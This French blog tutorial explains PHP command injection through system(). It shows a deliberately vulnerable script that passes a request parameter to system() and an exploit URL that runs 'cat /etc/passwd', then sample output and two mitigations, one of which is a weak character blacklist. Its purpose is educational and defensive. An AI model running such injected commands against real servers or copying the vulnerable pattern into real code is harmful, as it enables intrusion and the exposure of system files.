Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

dimanche 5 août 2012

Command Execution

 Commande Execution :
 1.Introduction:

Le langage PHP possède une fonction « System() » permettant d'utiliser directement des commandes systèmes. Ainsi il est évident que cette fonction peut s'avérer dangereuse puisque si l'attaquant réussi à détourner un script utilisant cette fonction, Voyons tout d'abord un schéma classique. Le webmaster désire afficher la date sur son site web. Il pourra alors procéder ainsi :


<?php
echo System("date");
?>



Ce qui affichera :
La date du jour est: 06/05/2012

Remarque : il ya d'autre fonctions permet l'exécution de commandes comme:

System ()       exec ()shell_exec()  popen()
proc_open()  passthru()
2.Comment l'exploiter ?
Cependant imaginez que le webmaster en question désire passer ses commandes dans un variable, en pensant que cela lui facilitera la lecture de son script, ou pour n'importe quelle autre raison. Il procédera alors ainsi :


<?php
echo system($REQUEST['cmd']);
?>

 

Si nous le consultons de cette manière : http://site/system.php?cmd=date, le serveur nous affichera le même type de résultat que précédemment. Cependant il suffit que nous modifions la variable $cmd par une autre commande pour voir apparaitre d'autre chose


Par exemple :
http://site/system.php?cmd=cat /etc/passwd
Ce qui affichera :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh

Il est donc, comme nous l'avons vu, possible de corrompre le système ou encore utiliser des programmes; cependant il est beaucoup plus pratique pour une question de lecture des données, d'utiliser cette méthode dans le but d'obtenir un maximum d'information sur le serveur (version du kernel, port ouvert, distribution ...).

cas pratique:
voire ce video


2.Solutions de Commande Execution :

2.1.Solution mois sécurisé
Pour éviter cette faille il faut repérer le caractère pipe '|' et arrêter le script et ne pas oublier d'effectuer une recherche sur l'équivalent du pipe en URL-Encode (à savoir %7c).

Il savoir aussi que  cette méthode fonctionne aussi avec les caractères & (and) ou encore ; (point virgule).

Exemple pour le caractère 'pipe' :


if( (strstr($cmd, "|")) || (strstr($cmd, "%7c") )
{
echo "Erreur : caractere interdit !";
break();
  }


2.2.Solution sécurisé
La solution la plus sécurisé est de ne mettre pas une variable comme un argument pour la fonction « system() » cela voudra dire que il faut mettre la commande qu’on veut utiliser directement dans la fonction system().

cas pratique:
voire ce video

Aucun commentaire:

Enregistrer un commentaire